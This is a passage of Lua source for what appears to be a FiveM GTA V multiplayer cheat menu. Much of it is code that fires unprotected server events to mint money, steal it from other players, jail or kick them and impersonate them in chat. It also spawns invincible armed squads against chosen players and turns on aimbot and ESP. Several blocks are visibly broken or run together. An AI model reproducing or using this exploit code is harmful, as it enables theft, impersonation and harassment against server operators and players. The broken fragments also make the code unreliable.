t2x = enabled
t4x = false
t8x = false
t16x = false
end)
then
elseif redMENU.CheckBox(
"Torque Boost 4x",
t4x,
function(enabled)
t2x = false
t4x = enabled
t8x = false
t16x = false
end)
then
elseif redMENU.CheckBox(
"Torque Boost 8x",
t8x,
function(enabled)
t2x = false
t4x = false
t8x = enabled
t16x = false
end)
then
elseif redMENU.CheckBox(
"Torque Boost 16x",
t16x,
function(enabled)
t2x = false
t4x = false
t8x = false
t16x = enabled
end)
then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("PerformanceMenu") then
redMENU.Display()
elseif redMENU.IsMenuOpened("VehSpawnOpt") then
if redMENU.CheckBox(
"Delete Current Vehicle",
DelCurVeh,
function(enabled)
DelCurVeh = enabled
end)
then
elseif redMENU.CheckBox(
"Spawn In Vehicle",
SpawnInVeh,
function(enabled)
SpawnInVeh = enabled
end)
then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("MaliciousMenu") then
if redMENU.CheckBox(
"Crosshair",
crosshair,
function(enabled)
crosshair = enabled
end)
then
elseif redMENU.CheckBox(
"Crosshair 2",
crosshair2,
function(enabled)
crosshair2 = enabled
end)
then
elseif redMENU.CheckBox(
"Crosshair 3",
crosshair3,
function(enabled)
crosshair3 = enabled
end)
then
elseif redMENU.CheckBox("Name Above Head", nameAboveHead,
function(enabled) nameAboveHead = enabled end) then
elseif redMENU.CheckBox('~o~Thermal Vision', thermalVision,
function(enabled) thermalVision = enabled SetSeethrough(thermalVision) end) then
elseif redMENU.CheckBox(
"AimBot",
aimbot,
function(enabled)
aimbot = enabled
end)
then
elseif redMENU.CheckBox(
"ESP",
esp,
function(enabled)
esp = enabled
end)
then
elseif redMENU.CheckBox(
"Trigger Bot",
TriggerBot,
function(enabled)
TriggerBot = enabled
end)
then
elseif redMENU.CheckBox(
"Player Blips",
playerBlips,
function(enabled)
playerBlips = enabled
end)
then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ESXMenu") then
if redMENU.MenuButton("ESX Money Options", "ESXMoneyMenu") then
elseif redMENU.MenuButton("ESX Job Menu", "ESXJobMenu") then
elseif redMENU.MenuButton("ESX Boss", "ESXBossMenu") then
elseif redMENU.MenuButton("ESX Drugs", "ESXDrugMenu") then
elseif redMENU.MenuButton("ESX Misc", "ESXMiscMenu") then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ESXMiscMenu") then
if redMENU.Button("ESX Harvest FixKit") then
TriggerServerEvent('esx_mechanicjob:startHarvest')
elseif redMENU.Button("ESX Craft FixKit") then
TriggerServerEvent('esx_mechanicjob:startCraft')
elseif redMENU.Button("ESX Revive Id") then
local id = KeyboardInput("Enter Id", "", 100)
TriggerServerEvent("esx_ambulancejob:revive", id)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ESXDrugMenu") then
if redMENU.Button('Harvest Weed (x5)') then
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
TriggerServerEvent('esx_drugs:startHarvestWeed')
elseif redMENU.Button('Transform Weed (x5)') then
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
TriggerServerEvent('esx_drugs:startTransformWeed')
elseif redMENU.Button('Sell Weed (x5)') then
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
TriggerServerEvent('esx_drugs:startSellWeed')
elseif redMENU.Button('Harvest Coke (x5)') then
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
TriggerServerEvent('esx_drugs:startHarvestCoke')
elseif redMENU.Button('Transform Coke (x5)') then
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
TriggerServerEvent('esx_drugs:startTransformCoke')
elseif redMENU.Button('Sell Coke (x5)') then
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
TriggerServerEvent('esx_drugs:startSellCoke')
elseif redMENU.Button('Harvest Meth (x5)') then
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
TriggerServerEvent('esx_drugs:startHarvestMeth')
elseif redMENU.Button('Transform Meth (x5)') then
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
TriggerServerEvent('esx_drugs:startTransformMeth')
elseif redMENU.Button('Sell Meth (x5)') then
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
TriggerServerEvent('esx_drugs:startSellMeth')
elseif redMENU.Button('Harvest Opium (x5)') then
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startHarvestOpium')
elseif redMENU.Button('Transform Opium (x5)') then
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
TriggerServerEvent('esx_drugs:startTransformOpium')
elseif redMENU.Button('Sell Opium (x5)') then
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
TriggerServerEvent ('esx_drugs:startSellOpium')
TriggerServerEvent('esx_drugs:startSellOpium')
elseif redMENU.Button('Money Wash (x10)') then
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
TriggerServerEvent('esx_blanchisseur:startWhitening', 1)
elseif redMENU.Button('Stop all (Drugs)') then
TriggerServerEvent('esx_drugs:stopHarvestCoke')
TriggerServerEvent('esx_drugs:stopTransformCoke')
TriggerServerEvent('esx_drugs:stopSellCoke')
TriggerServerEvent('esx_drugs:stopHarvestMeth')
TriggerServerEvent('esx_drugs:stopTransformMeth')
TriggerServerEvent('esx_drugs:stopSellMeth')
TriggerServerEvent('esx_drugs:stopHarvestWeed')
TriggerServerEvent('esx_drugs:stopTransformWeed')
TriggerServerEvent('esx_drugs:stopSellWeed')
TriggerServerEvent('esx_drugs:stopHarvestOpium')
TriggerServerEvent('esx_drugs:stopTransformOpium')
TriggerServerEvent('esx_drugs:stopSellOpium')
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ESXBossMenu") then
if redMENU.Button("ESX Mechanic Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'mecano',function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","mecano",function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'mecano',function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","mecano",function(dW,dX)
redMENU.close()end)
TriggerEvent("esx_society:openBossMenu",'mecano',function(dY,dZ)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","mecano",function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
elseif redMENU.Button("ESX Police Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'police',function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'police',function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'police',function(dY,dZ)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","police",function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
elseif redMENU.Button("ESX Ambulance Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'ambulance',function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","ambulance",function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'ambulance',function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","ambulance",function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'ambulance',function(dY,dZ)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","ambulance",function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
elseif redMENU.Button("ESX Taxi Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'taxi',function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","taxi",function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'taxi',function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","taxi",function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'taxi',function(dY,dZ)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","taxi",function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
elseif redMENU.Button("ESX Real Estate Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","realestateagent",function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","realestateagent",function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'realestateagent',function(dY,dZ)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","realestateagent",function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
elseif redMENU.Button("ESX Car Dealer Boss Menu") then
TriggerEvent("esx_society:openBossMenu",'cardealer',function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","cardealer",function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'cardealer',function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","cardealer",function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",'cardealer',function(dY,dZ)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu","cardealer",function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
elseif redMENU.Button("ESX Custom Boss Menu") then
local e=KeyboardInput("Enter custom boss menu job
name","",100)
if e~=""then
TriggerEvent("esx_society:openBossMenu",e,function(dU,dV)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",e,function(dW,dX)
redMENU.close()
end)
TriggerEvent("esx_society:openBossMenu",e,function(dY,dZ)
redMENU.close()
end)
redMENU.CloseMenu()
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ESXJobMenu") then
if redMENU.Button("Unemployed") then
TriggerServerEvent('NB:destituerplayer',GetPlayerServerId(-
1))
elseif redMENU.Button("Police") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"police",3)
elseif redMENU.Button("Mechanic") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"mecano",3)
elseif redMENU.Button("Taxi") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"taxi",3)
elseif redMENU.Button("Ambulance") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"ambulance",3)
elseif redMENU.Button("Real Estate Agent") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"realestateagent",3)
elseif redMENU.Button("Car Dealer") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(-
1),"cardealer",3)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("ESXMoneyMenu") then
if redMENU.Button("ESX TruckerJob") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent('esx_truckerjob:pay', result)
end
elseif redMENU.Button("ESX Caution Give Back") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent('esx_jobs:caution', 'give_back',
result)
end
elseif redMENU.Button("ESX Eden Garage") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("eden_garage:payhealth", {costs = -
result})
end
elseif redMENU.Button("ESX GoPostalJob") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_gopostaljob:pay", result)
end
elseif redMENU.Button("ESX BankerJob") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_banksecurity:pay", result)
end
elseif redMENU.Button("ESX Fuel Delivery") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_fueldelivery:pay", result)
end
elseif redMENU.Button("ESX Car Thief") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_carthief:pay", result)
end
elseif redMENU.Button("ESX DMV School") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_dmvschool:pay", {costs = -
result})
end
elseif redMENU.Button("ESX Legacy Fuel") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("LegacyFuel:PayFuel", {costs = -
result})
end
elseif redMENU.Button("ESX Dirty Job") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_godirtyjob:pay", result)
end
elseif redMENU.Button("ESX Pizza Boy") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_pizza:pay", result)
end
elseif redMENU.Button("ESX Ranger") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_ranger:pay", result)
end
elseif redMENU.Button("ESX Garage Job") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_garbagejob:pay", result)
end
elseif redMENU.Button("ESX Car Thief Dirty Money") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_carthief:pay", result)
end
elseif redMENU.Button("ESX Admin Menu Give Bank") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("AdminMenu:giveBank", result)
end
elseif redMENU.Button("ESX Admin Menu Give Cash") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("AdminMenu:giveCash", result)
end
elseif redMENU.Button("ESX Slot Machine") then
local result = KeyboardInput("Enter amount of money", "",
100000000)
if result ~= "" then
TriggerServerEvent("esx_slotmachine:sv:2", result)
end
elseif redMENU.CheckBox("ESX Hunting reward", huntspam,
function(enabled) huntspam = enabled end) then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("SelfMenu") then
if redMENU.Button("Revive (ESX)") then
print('hello')
elseif redMENU.Button("Heal (NATIVE)") then
SetEntityHealth(PlayerPedId(), 200)
elseif redMENU.Button("Give Armor (NATIVE)") then
SetPedArmour(PlayerPedId(), 200)
elseif redMENU.Button("Hunger & Thirst 100% (ESX)") then
TriggerEvent('esx_status:set', 'hunger', 1000000)
TriggerEvent('esx_status:set', 'thirst', 1000000)
elseif redMENU.Button("Suicide (NATIVE)") then
SetEntityHealth(PlayerPedId(), 0)
elseif redMENU.CheckBox(
"God Mode (NATIVE)",
GodMode,
function(enabled)
GodMode = enabled
end)
then
elseif redMENU.CheckBox(
"Infinite Stamina (NATIVE)",
infStamina,
function(enabled)
infStamina = enabled
end)
then
elseif redMENU.CheckBox(
"Fast Run (NATIVE)",
fastrun,
function(enabled)
fastrun = enabled
end)
then
elseif redMENU.CheckBox(
"Super Jump (NATIVE)",
SuperJump,
function(enabled)
SuperJump = enabled
end)
then
elseif redMENU.CheckBox(
"Noclip (NATIVE)",
Noclip,
function(enabled)
Noclip = enabled
end)
then
elseif redMENU.CheckBox(
"invisible (NATIVE)",
invisible,
function(enabled)
invisible = enabled
end)
then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("OnlinePlayersMenu") then
for i = 0, 128 do
if NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~=
0 and redMENU.MenuButton(GetPlayerName(i).." ID = ["..GetPlayerServerId(i).."] i =
["..i.."] "..(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~r~DEAD" or "~g~ALIVE"),
"PlayerOptionsMenu") then
SelectedPlayer = i
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("PlayerOptionsMenu") then
redMENU.SetSubTitle("PlayerOptionsMenu", "Player Options
["..GetPlayerName(SelectedPlayer).."]")
if redMENU.Button('Spectate', (Spectating and
"~g~[SPECTATING]")) then
SpectatePlayer(SelectedPlayer)
elseif redMENU.Button('Teleport To') then
local Entity = IsPedInAnyVehicle(PlayerPedId(), false)
and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
SetEntityCoords(Entity,
GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
elseif redMENU.Button("Heal Player (NATIVE)") then
local eF = "PICKUP_HEALTH_STANDARD"
local eG = GetHashKey(eF)
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
CreateAmbientPickup(eG, cM.x, cM.y, cM.z + 1.0, 1, 1,
eG, 1, 0)
SetPickupRegenerationTime(pickup, 60)
elseif redMENU.MenuButton("Give Single Weapon",
"SingleWepPlayer") then
elseif redMENU.Button("Give Ammo") then
for i = 1, #allWeapons do
AddAmmoToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 250)
end
elseif redMENU.Button("Give All Weapons") then
for i = 1, #allWeapons do
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif redMENU.Button("Remove All Weapons") then
for i = 1, #allWeapons do
RemoveAllPedWeapons(GetPlayerPed(SelectedPlayer),
true)
end
elseif redMENU.Button("Give Vehicle") then
local ped = GetPlayerPed(SelectedPlayer)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
redMENU.Display()
elseif redMENU.IsMenuOpened("PlayerESXMenu") then
if redMENU.MenuButton("ESX Triggers",
"PlayerESXTriggerMenu") then
elseif redMENU.MenuButton("ESX Jobs", "PlayerESXJobMenu")
then
end
redMENU.Display()
elseif redMENU.IsMenuOpened("PlayerESXTriggerMenu") then
if redMENU.Button("ESX Revive") then
TriggerServerEvent("esx_ambulancejob:revive",GetPlayerServerId(selectedPlayer))
elseif redMENU.Button("ESX Give Money To Player From Your
Wallet") then
local d = KeyboardInput("Enter amount of money to
give","",100)
if d ~= "" then
TriggerServerEvent('esx:giveInventoryItem',GetPlayerServerId(selectedPlayer),"item_
money","money",d)
end
elseif redMENU.Button("ESX Steal Money From Player") then
local d=KeyboardInput("Enter amount of money to
steal","",100)
if d ~= "" then
TriggerServerEvent('esx:removeInventoryItem',GetPlayerServerId(selectedPlayer),"ite
m_money","money",d)
end
elseif redMENU.Button("ESX Handcuff Player") then
TriggerServerEvent("esx_policejob:handcuff",GetPlayerServerId(selectedPlayer))
elseif redMENU.Button("ESX Send To Jail") then
TriggerServerEvent("esx-qalle-
jail:jailPlayer",GetPlayerServerId(selectedPlayer),5000,"Jailed")
TriggerServerEvent("esx_jailer:sendToJail",GetPlayerServerId(selectedPlayer),45*60)
TriggerServerEvent("esx_jail:sendToJail",GetPlayerServerId(selectedPlayer),45*60)
TriggerServerEvent("js:jailuser",GetPlayerServerId(selectedPlayer),45*60,"Jailed")
elseif redMENU.Button("ESX Get Out Of Jail") then
local ped = selectedPlayer
TriggerServerEvent("esx-qalle-
jail:jailPlayer",GetPlayerServerId(ped),0,"escaperino")
TriggerServerEvent("esx_jailer:sendToJail",GetPlayerServerId(ped),0)
TriggerServerEvent("esx_jail:sendToJail",GetPlayerServerId(ped),0)
TriggerServerEvent("js:jailuser",GetPlayerServerId(ped),0,"escaperino")
end
redMENU.Display()
elseif redMENU.IsMenuOpened("PlayerESXJobMenu") then
if redMENU.Button("Unemployed") then
TriggerServerEvent('NB:destituerplayer',GetPlayerServerId(selectedPlayer))
elseif redMENU.Button("Police") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"police",3
)
elseif redMENU.Button("Mechanic") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"mecano",3
)
elseif redMENU.Button("Taxi") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"taxi",3)
elseif redMENU.Button("Ambulance") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"ambulance
",3)
elseif redMENU.Button("Real Estate Agent") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"realestat
eagent",3)
elseif redMENU.Button("Car Dealer") then
TriggerServerEvent('NB:recruterplayer',GetPlayerServerId(selectedPlayer),"cardealer
",3)
end
redMENU.Display()
elseif redMENU.IsMenuOpened("PlayerTrollMenu") then
if redMENU.Button ("Fake Chat Message") then
local cX=KeyboardInput("Enter message to send","",100)
local cY=GetPlayerName(selectedPlayer)
if cX then
TriggerServerEvent('_chat:messageEntered',cY,
{0,0x99,255},cX)
end
TriggerServerEvent("mellotrainer:adminTempBan",GetPlayerServerId(SelectedPlayer),
reason)
end
elseif redMENU.Button("Mellotrainer Kick") then
local reason2 = KeyboardInput("Enter Reason Here", "",
100)
if reason2 then
TriggerServerEvent("mellotrainer:adminKick",GetPlayerServerId(SelectedPlayer),
reason2)
end
elseif redMENU.MenuButton("Ram Vehicles Into Player",
"VehicleRamMenu") then
elseif redMENU.MenuButton("Spawn Peds",
"PlayerSpawnPedsMenu") then
elseif redMENU.MenuButton("Spawn Props On Player",
"SpawnPropsMenu") then
elseif redMENU.CheckBox(
"Freeze Player",
freezePlayer,
function(enabled)
freezePlayer = enabled
end)
then
elseif redMENU.Button("Small invisible Explosion") then
redMENU.Display()
elseif redMENU.IsMenuOpened("SpawnPropsMenu") then
if redMENU.CheckBox(
"Attach Prop To Player",
attachProp,
function(enabled)
attachProp = enabled
end)
then
elseif redMENU.ComboBox("Bone", { "Head", "Right Hand" },
currentBone, selectedBone, function(currentIndex, selectedIndex)
currentBone = currentIndex
selectedBone = selectedIndex
end)
then
elseif redMENU.Button("Weed") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local prop = "prop_weed_01"
while not HasModelLoaded(GetHashKey(prop)) do
Citizen.Wait(0)
RequestModel(GetHashKey(prop))
end
local obj =
CreateObject(GetHashKey(prop),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
elseif redMENU.Button("UFO") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local prop = "p_spinning_anus_s"
while not HasModelLoaded(GetHashKey(prop)) do
Citizen.Wait(0)
RequestModel(GetHashKey(prop))
end
local obj =
CreateObject(GetHashKey(prop),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
elseif redMENU.Button("Windmill") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local prop = "prop_windmill_01"
while not HasModelLoaded(GetHashKey(prop)) do
Citizen.Wait(0)
RequestModel(GetHashKey(prop))
end
local obj =
CreateObject(GetHashKey(prop),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),39317),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
elseif redMENU.Button("Custom Prop") then
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local input = KeyboardInput("Enter Prop Name", "", 100)
if IsModelValid(input) then
local obj =
CreateObject(GetHashKey(input),coords.x,coords.y,coords.z,true,true,true)
if attachProp then
if selectedBone == 1 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),31086),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(selectedPlayer),GetPedBoneIndex(GetPlayerPed(
selectedPlayer),28422),0.4,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
else
drawNotification("Invalid Model!")
end
end
redMENU.Display()
elseif redMENU.IsMenuOpened("PlayerSpawnPedsMenu") then
if redMENU.Button("Spawn ~s~Swat army with AK") then
local eU = "s_m_y_swat_01"
local eS = "WEAPON_ASSAULTRIFLE"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21,
GetHashKey(eU), cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21,
GetHashKey(eU), cM.x - i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false) SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
Citizen.Wait(500)
NetToPed(eT)
GiveWeaponToPed(ped,
GetHashKey(eS), 9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped,
cM.x, cM.y, cM.z, 500)
else
Citizen.Wait(0)
end
end
end
elseif redMENU.Button("Spawn ~s~Swat army with RPG")
then
local eU = "s_m_y_swat_01"
local eS = "weapon_rpg"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21, GetHashKey(eU),
cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21, GetHashKey(eU), cM.x -
i, cM.y + i, cM.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
local eT = PedToNet(ped)
NetworkSetNetworkIdDynamic(eT, false)
SetNetworkIdCanMigrate(eT, true)
SetNetworkIdExistsOnAllMachines(eT,
true)
Citizen.Wait(500)
NetToPed(eT)
GiveWeaponToPed(ped, GetHashKey(eS),
9999, 1, 1)
SetEntityInvincible(ped, true)
SetPedCanSwitchWeapon(ped, true)
TaskCombatPed(ped,
GetPlayerPed(SelectedPlayer), 0, 16)
elseif
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, cM.x,
cM.y, cM.z, 500)
else
Citizen.Wait(0)
end
end
end
elseif redMENU.Button("Spawn ~s~Swat army with
Flaregun") then
local eU = "s_m_y_swat_01"
local eS = "weapon_flaregun"
for i = 0, 10 do
local cM =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey(eU)) Citizen.Wait(50)
if HasModelLoaded(GetHashKey(eU)) then
local ped = CreatePed(21, GetHashKey(eU),
cM.x + i, cM.y - i, cM.z, 0, true, true) and CreatePed(21, GetHashKey(eU), cM.x -
